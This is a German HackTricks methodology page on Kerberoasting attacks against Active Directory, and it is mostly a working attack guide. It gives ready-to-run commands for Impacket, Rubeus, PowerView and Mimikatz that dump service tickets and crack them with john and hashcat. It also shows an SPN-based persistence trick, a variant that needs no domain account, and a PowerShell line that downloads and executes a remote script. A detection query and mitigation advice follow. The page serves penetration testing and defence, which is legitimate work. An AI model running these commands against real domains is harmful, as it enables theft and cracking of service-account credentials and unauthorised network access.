hacktricks/windows-hardening/active-directory-methodology/kerberoast.md

14 KiB

Kerberoast


Verwenden Sie Trickest, um mühelos Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Heute Zugriff erhalten:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Kerberoast

Kerberoasting konzentriert sich auf den Erwerb von TGS-Tickets, insbesondere solche, die sich auf Dienste beziehen, die unter Benutzerkonten in Active Directory (AD) betrieben werden, wobei Computerkonten ausgeschlossen sind. Die Verschlüsselung dieser Tickets verwendet Schlüssel, die aus Benutzerpasswörtern stammen, was die Möglichkeit des Offline-Knackens von Anmeldeinformationen ermöglicht. Die Verwendung eines Benutzerkontos als Dienst wird durch eine nicht leere "ServicePrincipalName"-Eigenschaft angezeigt.

Für die Ausführung von Kerberoasting ist ein Domänenkonto erforderlich, das in der Lage ist, TGS-Tickets anzufordern. Dieser Prozess erfordert jedoch keine besonderen Berechtigungen und ist somit für jeden mit gültigen Domänenanmeldeinformationen zugänglich.

Schlüsselpunkte:

  • Kerberoasting zielt auf TGS-Tickets für Benutzerkontodienste innerhalb von AD ab.
  • Tickets, die mit Schlüsseln aus Benutzerpasswörtern verschlüsselt sind, können offline geknackt werden.
  • Ein Dienst wird durch einen nicht leeren ServicePrincipalName identifiziert.
  • Es sind keine besonderen Berechtigungen erforderlich, nur gültige Domänenanmeldeinformationen.

Angriff

{% hint style="warning" %} Kerberoasting-Tools fordern in der Regel RC4-Verschlüsselung an, wenn sie den Angriff durchführen und TGS-REQ-Anfragen initiieren. Dies liegt daran, dass RC4 schwächer ist und einfacher offline zu knacken ist als andere Verschlüsselungsalgorithmen wie AES-128 und AES-256.
RC4-Hashes (Typ 23) beginnen mit $krb5tgs$23$*, während AES-256 (Typ 18) mit $krb5tgs$18$* beginnen. {% endhint %}

Linux

# Metasploit framework
msf> use auxiliary/gather/get_user_spns
# Impacket
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Password will be prompted
GetUserSPNs.py -request -dc-ip <DC_IP> -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERNAME> -outputfile hashes.kerberoast
# kerberoast: https://github.com/skelsec/kerberoast
kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -o kerberoastable # 1. Enumerate kerberoastable users
kerberoast spnroast 'kerberos+password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Dump hashes

Multi-Features-Tools einschließlich eines Dumps von Kerberoast-fähigen Benutzern:

# ADenum: https://github.com/SecuProject/ADenum
adenum -d <DOMAIN.FULL> -ip <DC_IP> -u <USERNAME> -p <PASSWORD> -c

Windows

  • Ermitteln von Kerberoastfähigen Benutzern
# Get Kerberoastable users
setspn.exe -Q */* #This is a built-in binary. Focus on user accounts
Get-NetUser -SPN | select serviceprincipalname #Powerview
.\Rubeus.exe kerberoast /stats
  • Technik 1: Fordern Sie TGS an und dumpen Sie es aus dem Speicher
#Get TGS in memory from a single user
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local

#Get TGSs for ALL kerberoastable accounts (PCs included, not really smart)
setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

#List kerberos tickets in memory
klist

# Extract them from memory
Invoke-Mimikatz -Command '"kerberos::list /export"' #Export tickets to current folder

# Transform kirbi ticket to john
python2.7 kirbi2john.py sqldev.kirbi
# Transform john to hashcat
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
  • Technik 2: Automatische Tools
# Powerview: Get Kerberoast hash of a user
Request-SPNTicket -SPN "<SPN>" -Format Hashcat #Using PowerView Ex: MSSQLSvc/mgmt.domain.local
# Powerview: Get all Kerberoast hashes
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation

# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specific user
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Get of admins

# Invoke-Kerberoast
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast

{% hint style="warning" %} Bei der Anforderung eines TGS wird das Windows-Ereignis 4769 - Ein Kerberos-Dienstticket wurde angefordert generiert. {% endhint %}


Verwenden Sie Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den weltweit fortschrittlichsten Community-Tools unterstützt werden.
Heute Zugriff erhalten:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Knacken

john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

Persistenz

Wenn Sie ausreichende Berechtigungen über einen Benutzer haben, können Sie ihn kerberoastbar machen:

Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose

Sie finden nützliche Werkzeuge für Kerberoast-Angriffe hier: https://github.com/nidem/kerberoast

Wenn Sie diesen Fehler von Linux finden: Kerberos SessionError: KRB_AP_ERR_SKEW(Uhrabweichung zu groß), liegt es an Ihrer lokalen Zeit. Sie müssen den Host mit dem DC synchronisieren. Es gibt einige Optionen:

  • ntpdate <IP des DC> - Veraltet ab Ubuntu 16.04
  • rdate -n <IP des DC>

Abhilfe

Kerberoasting kann mit einem hohen Maß an Heimlichkeit durchgeführt werden, wenn es ausnutzbar ist. Um diese Aktivität zu erkennen, sollte auf Sicherheitsereignis-ID 4769 geachtet werden, die anzeigt, dass ein Kerberos-Ticket angefordert wurde. Aufgrund der hohen Häufigkeit dieses Ereignisses müssen jedoch spezifische Filter angewendet werden, um verdächtige Aktivitäten zu isolieren:

  • Der Dienstname sollte nicht krbtgt sein, da dies eine normale Anforderung ist.
  • Dienstnamen, die mit $ enden, sollten ausgeschlossen werden, um Maschinenkonten für Dienste nicht einzubeziehen.
  • Anfragen von Maschinen sollten herausgefiltert werden, indem Kontonamen im Format maschine@domäne ausgeschlossen werden.
  • Es sollten nur erfolgreiche Ticketanforderungen in Betracht gezogen werden, die durch einen Fehlercode von '0x0' identifiziert werden.
  • Am wichtigsten ist der Ticketverschlüsselungstyp 0x17, der häufig bei Kerberoasting-Angriffen verwendet wird.
Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message

Um das Risiko von Kerberoasting zu minimieren:

  • Stellen Sie sicher, dass Service Account-Passwörter schwer zu erraten sind und empfehlen Sie eine Länge von mehr als 25 Zeichen.
  • Verwenden Sie Managed Service Accounts, die Vorteile wie automatische Passwortänderungen und delegiertes Service Principal Name (SPN) Management bieten und die Sicherheit gegen solche Angriffe erhöhen.

Durch die Umsetzung dieser Maßnahmen können Organisationen das mit Kerberoasting verbundene Risiko erheblich reduzieren.

Kerberoast ohne Domänenkonto

Im September 2022 wurde eine neue Möglichkeit zur Ausnutzung eines Systems von einem Forscher namens Charlie Clark aufgedeckt und über seine Plattform exploit.ph geteilt. Diese Methode ermöglicht den Erwerb von Service Tickets (ST) über eine KRB_AS_REQ-Anfrage, die erstaunlicherweise keine Kontrolle über ein Active Directory-Konto erfordert. Im Wesentlichen kann, wenn ein Prinzip so eingerichtet ist, dass es keine Vorauthentifizierung erfordert - eine Situation, die im Cybersicherheitsbereich als AS-REP Roasting-Angriff bekannt ist - diese Eigenschaft genutzt werden, um den Anfrageprozess zu manipulieren. Insbesondere wird das System durch Ändern des sname-Attributs im Anfragekörper getäuscht, um ein ST anstelle des standardmäßigen verschlüsselten Ticket Granting Ticket (TGT) auszustellen.

Die Technik wird in diesem Artikel vollständig erläutert: Semperis Blog-Beitrag.

{% hint style="warning" %} Sie müssen eine Liste von Benutzern bereitstellen, da wir kein gültiges Konto haben, um die LDAP-Abfrage mit dieser Technik durchzuführen. {% endhint %}

Linux

GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/

Windows

Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE"

Referenzen

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:


Verwenden Sie Trickest, um mühelos Workflows zu erstellen und zu automatisieren, die von den weltweit fortschrittlichsten Community-Tools unterstützt werden.
Heute Zugriff erhalten:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}